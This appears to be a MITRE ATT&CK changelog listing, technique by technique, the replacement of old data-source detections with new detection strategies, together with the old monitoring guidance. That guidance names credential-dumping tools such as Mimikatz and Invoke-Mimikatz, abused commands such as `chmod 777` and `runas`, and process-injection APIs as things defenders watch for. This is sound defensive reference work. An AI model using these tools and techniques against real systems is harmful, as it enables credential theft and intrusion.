DET0216: Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Metadata', 'Process: Process Creation', 'File: File Modification', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:15.460000+00:00	2025-10-24 17:48:25.182000+00:00
x_mitre_detection	Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.

[T1557.001] Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0019: Service (Service Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0462: Detect LLMNR/NBT-NS Poisoning and SMB Relay on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Service: Service Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:44:23.234000+00:00	2025-10-24 17:48:52.462000+00:00
x_mitre_detection	Monitor `HKLM\Software\Policies\Microsoft\Windows NT\DNSClient` for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy. Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)

[T1027.012] Obfuscated Files or Information: LNK Icon Smuggling

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0022: File (File Creation)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0405: Detection Strategy for LNK Icon Smuggling

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:44:37.776000+00:00	2025-10-24 17:49:04.385000+00:00
x_mitre_detection

[T1003.004] OS Credential Dumping: LSA Secrets

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Access)

New Detections (Detection Strategies -> Technique):

DET0437: Detection of LSA Secrets Dumping via Registry and Memory Extraction

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:44:50.491000+00:00	2025-10-24 17:48:29.945000+00:00
x_mitre_detection	Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

[T1547.008] Boot or Logon Autostart Execution: LSASS Driver

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0011: Module (Module Load)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0225: Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'File: File Creation', 'Driver: Driver Load', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:22.686000+00:00	2025-10-24 17:49:35.318000+00:00
x_mitre_detection	With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security) Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.

[T1003.001] OS Credential Dumping: LSASS Memory

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0363: Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Access', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:45:12.834000+00:00	2025-10-24 17:48:52.657000+00:00
x_mitre_detection	Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

[T1570] Lateral Tool Transfer

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Metadata)
DS0023: Named Pipe (Named Pipe Metadata)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)
DS0033: Network Share (Network Share Access)

New Detections (Detection Strategies -> Technique):

DET0183: Detection Strategy for Lateral Tool Transfer across OS platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Named Pipe: Named Pipe Metadata', 'Network Share: Network Share Access', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:03.832000+00:00	2025-10-24 17:49:19.137000+00:00
x_mitre_detection	Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.

[T1543.001] Create or Modify System Process: Launch Agent

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0019: Service (Service Modification)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0434: Detection of Launch Agent Creation or Modification on macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Service: Service Modification', 'File: File Creation', 'Service: Service Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:10.035000+00:00	2025-10-24 17:49:25.367000+00:00
x_mitre_detection	Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications. Ensure Launch Agent's `ProgramArguments` key pointing to executables located in the `/tmp` or `/shared` folders are in alignment with enterprise policy. Ensure all Launch Agents with the `RunAtLoad` key set to `true` are in alignment with policy.

[T1543.004] Create or Modify System Process: Launch Daemon

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0019: Service (Service Modification)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0401: Detection Strategy for Launch Daemon Creation or Modification (macOS)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Creation', 'File: File Modification', 'Service: Service Modification', 'Command: Command Execution', 'Service: Service Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:33.604000+00:00	2025-10-24 17:48:49.387000+00:00
x_mitre_detection	Monitor for new files added to the `/Library/LaunchDaemons/` folder. The System LaunchDaemons are protected by SIP. Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the `RunAtLoad` parameter set to true, ensure the `Program` parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as `Program` and `ProgramArguments` parameters but one must be present.(Citation: launchd Keywords for plists)

[T1569.001] System Services: Launchctl

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0265: Detection Strategy for System Services: Launchctl

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:46.562000+00:00	2025-10-24 17:49:02.098000+00:00
x_mitre_detection	Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line `launchctl` command. Plist files are located in the root, system, and users `/Library/LaunchAgents` or `/Library/LaunchDaemons` folders. Monitor command-line execution of the `launchctl` command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to `/tmp` and `/Shared` folders locations are potentially suspicious. When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.

[T1608.005] Stage Capabilities: Link Target

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0893: Detection of Link Target

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:45:40.961000+00:00	2025-10-24 17:49:03.552000+00:00
x_mitre_detection	If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).

[T1222.002] File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0351: Unix-like File Permission Manipulation Behavioral Chain Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Metadata', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:46:00.944000+00:00	2025-10-24 17:48:21.839000+00:00
x_mitre_detection	Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include `chmod +x`, `chmod -R 755`, and `chmod 777`.(Citation: 20 macOS Common Tools and Techniques) Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.

[T1055.015] Process Injection: ListPlanting

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Modification)

New Detections (Detection Strategies -> Technique):

DET0331: Detection Strategy for ListPlanting Injection on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Modification', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:18.862000+00:00	2025-10-24 17:49:33.701000+00:00
x_mitre_detection	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `FindWindow`, `FindWindowEx`, `EnumWindows`, `EnumChildWindows`, and those that can be used to modify memory within another process, such as `VirtualAllocEx`/`WriteProcessMemory`, may be abused for this technique. Consider monitoring for excessive use of `SendMessage` and/or `PostMessage` API functions with `LVM_SETITEMPOSITION` and/or `LVM_GETITEMPOSITION` arguments. Analyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1087.001] Account Discovery: Local Account

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0036: Group (Group Enumeration)

New Detections (Detection Strategies -> Technique):

DET0303: Local Account Enumeration Across Host Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Group: Group Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:14.718000+00:00	2025-10-24 17:48:32.515000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor for processes that can be used to enumerate user accounts, such as `net.exe` and `net1.exe`, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)

[T1078.003] Valid Accounts: Local Accounts

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0028: Logon Session (Logon Session Creation)
DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0407: Detection of Local Account Abuse for Initial Access and Persistence

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:24.607000+00:00	2025-10-24 17:49:39.874000+00:00
x_mitre_detection	Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.

[T1074.001] Data Staged: Local Data Staging

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0261: Detection of Local Data Staging Prior to Exfiltration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:11.270000+00:00	2025-10-24 17:48:28.868000+00:00
x_mitre_detection	Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.

[T1114.001] Email Collection: Local Email Collection

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0047: Detect Local Email Collection via Outlook Data File Access and Command Line Tooling

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:00.964000+00:00	2025-10-24 17:48:29.669000+00:00
x_mitre_detection	Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1069.001] Permission Groups Discovery: Local Groups

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0036: Group (Group Enumeration)

New Detections (Detection Strategies -> Technique):

DET0114: Behavioral Detection of Local Group Enumeration Across OS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Creation', 'Group: Group Enumeration', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:46:25.458000+00:00	2025-10-24 17:49:10.014000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1037.002] Boot or Logon Initialization Scripts: Login Hook

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0244: Detection Strategy for Login Hook Persistence on macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:46:43.054000+00:00	2025-10-24 17:48:42.963000+00:00
x_mitre_detection	Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

[T1547.015] Boot or Logon Autostart Execution: Login Items

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0121: Detection Strategy for T1547.015 – Login Items on macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:47.788000+00:00	2025-10-24 17:49:03.355000+00:00
x_mitre_detection	All login items created via shared file lists are viewable by using the System Preferences GUI or in the `~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm` file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications. Otherwise, login Items are located in `Contents/Library/LoginItems` within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple) Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.

[T1037.001] Boot or Logon Initialization Scripts: Logon Script (Windows)

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Creation)

New Detections (Detection Strategies -> Technique):

DET0072: Detect Logon Script Modifications and Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:46:59.108000+00:00	2025-10-24 17:49:33.610000+00:00
x_mitre_detection	Monitor for changes to Registry values associated with Windows logon scrips, nameley `HKCU\Environment\UserInitMprLogonScript`. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

[T1218.014] System Binary Proxy Execution: MMC

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0222: Detecting MMC (.msc) Proxy Execution and Malicious COM Activation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Creation', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:23.449000+00:00	2025-10-24 17:49:40.236000+00:00
x_mitre_detection	Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. Monitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as `services.msc` or `eventvwr.msc`. Invoking non-Microsoft .msc files may be an indicator of malicious activity.

[T1127.001] Trusted Developer Utilities Proxy Execution: MSBuild

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0556: Behavior-chain detection strategy for T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:20.712000+00:00	2025-10-24 17:49:22.881000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.

[T1071.003] Application Layer Protocol: Mail Protocols

Current version: 1.2

New Mitigations:

M1037: Filter Network Traffic

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0135: Detection of Mail Protocol-Based C2 Activity (SMTP, IMAP, POP3)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Don Le, Stifel Financial']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:32.320000+00:00	2025-10-24 17:48:48.564000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)

[T1134.003] Access Token Manipulation: Make and Impersonate Token

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0498: Behavior‑chain detection for T1134.003 Make and Impersonate Token (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:49.948000+00:00	2025-10-24 17:49:05.200000+00:00
x_mitre_detection	If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the `runas` command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. Analysts can also monitor for use of Windows APIs such as `LogonUser` and `SetThreadToken` and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

[T1204.003] User Execution: Malicious Image

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0007: Image (Image Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0030: Instance (Instance Creation)
DS0030: Instance (Instance Start)
DS0032: Container (Container Creation)
DS0032: Container (Container Start)

New Detections (Detection Strategies -> Technique):

DET0248: User Execution – Malicious Image (containers & IaaS) – pull/run → start → anomalous behavior (T1204.003)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Command: Command Execution', 'Image: Image Creation', 'Container: Container Start', 'Container: Container Creation', 'Instance: Instance Start', 'Instance: Instance Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:40.745000+00:00	2025-10-24 17:49:13.999000+00:00
x_mitre_detection	Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.

[T1204.001] User Execution: Malicious Link

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0022: File (File Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0066: User Execution – Malicious Link (click → suspicious egress → download/write → follow-on activity)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:20.108000+00:00	2025-10-24 17:49:35.144000+00:00
x_mitre_detection	Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization. Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.

[T1588.001] Obtain Capabilities: Malware

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0004: Malware Repository (Malware Content)
DS0004: Malware Repository (Malware Metadata)

New Detections (Detection Strategies -> Technique):

DET0845: Detection of Malware

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:47:58.443000+00:00	2025-10-24 17:48:58.766000+00:00
x_mitre_detection	Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.

[T1553.005] Subvert Trust Controls: Mark-of-the-Web Bypass

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0022: File (File Creation)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0257: Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:45.702000+00:00	2025-10-24 17:49:01.286000+00:00
x_mitre_detection	Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)

[T1036.008] Masquerading: Masquerade File Type

Current version: 1.1

	Old Description			New Description
t	1	Adversaries may masquerade malicious payloads as legitimate	t	1	Adversaries may masquerade malicious payloads as legitimate
	>	files through changes to the payload's formatting, including		>	files through changes to the payload's formatting, including
	>	the file’s signature, extension, icon, and contents. Variou		>	the file’s signature, extension, icon, and contents. Variou
	>	s file types have a typical standard format, including how t		>	s file types have a typical standard format, including how t
	>	hey are encoded and organized. For example, a file’s signatu		>	hey are encoded and organized. For example, a file’s signatu
	>	re (also known as header or magic bytes) is the beginning by		>	re (also known as header or magic bytes) is the beginning by
	>	tes of a file and is often used to identify the file’s type.		>	tes of a file and is often used to identify the file’s type.
	>	For example, the header of a JPEG file, is <code> 0xFF 0xD		>	For example, the header of a JPEG file, is <code> 0xFF 0xD
	>	8</code> and the file extension is either `.JPE`, `.JPEG` or		>	8</code> and the file extension is either `.JPE`, `.JPEG` or
	>	`.JPG`. Adversaries may edit the header’s hex code and/or		>	`.JPG`. Adversaries may edit the header’s hex code and/or
